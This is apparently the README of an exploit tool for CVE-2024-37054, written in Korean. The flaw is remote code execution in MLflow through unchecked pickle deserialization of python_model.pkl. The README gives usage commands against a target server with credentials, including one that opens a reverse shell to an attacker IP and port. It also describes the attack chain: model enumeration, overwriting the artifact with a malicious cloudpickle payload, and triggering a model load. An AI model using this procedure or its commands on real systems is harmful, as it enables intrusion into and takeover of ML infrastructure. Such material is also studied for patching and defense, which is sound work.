CVE-2024-37054 — MLflow pyfunc 역직렬화 RCE

심각도: Critical
영향 대상: MLflow 0.9.0 – 2.14.1
유형: Python pickle 역직렬화를 통한 임의 코드 실행

설명

mlflow.pyfunc.load_model()은 아티팩트 저장소에서 python_model.pkl을 아무런 검증 없이 역직렬화합니다. MLflow 아티팩트 REST API에 접근할 수 있는 공격자는 해당 파일을 악성 pickle로 덮어쓸 수 있으며, 모델이 다음에 로드될 때 임의의 OS 명령이 실행됩니다.

요구 사항

pip install requests cloudpickle

사용법

# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

주요 옵션

작동 원리

1. 탐색 — /api/2.0/mlflow/registered-models/search를 쿼리하여 모델과 해당 run_id / experiment_id를 찾습니다
2. 오염 — 악성 cloudpickle 페이로드를 /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl에 PUT합니다
3. 트리거 — 해당 모델에 대해 mlflow.pyfunc.load_model()을 호출하는 모든 코드 경로는 페이로드를 역직렬화(unpickle)하여 명령을 실행합니다

트리거 단계에서는 모델을 로드하는 애플리케이션 엔드포인트가 필요합니다. 알려진 엔드포인트가 없으면 --no-trigger를 사용하거나(또는 --trigger-url 생략) 가능한 모든 수단을 통해 모델 로드를 트리거하십시오.

면책 조항

승인된 침투 테스트 및 교육 목적으로만 사용하십시오.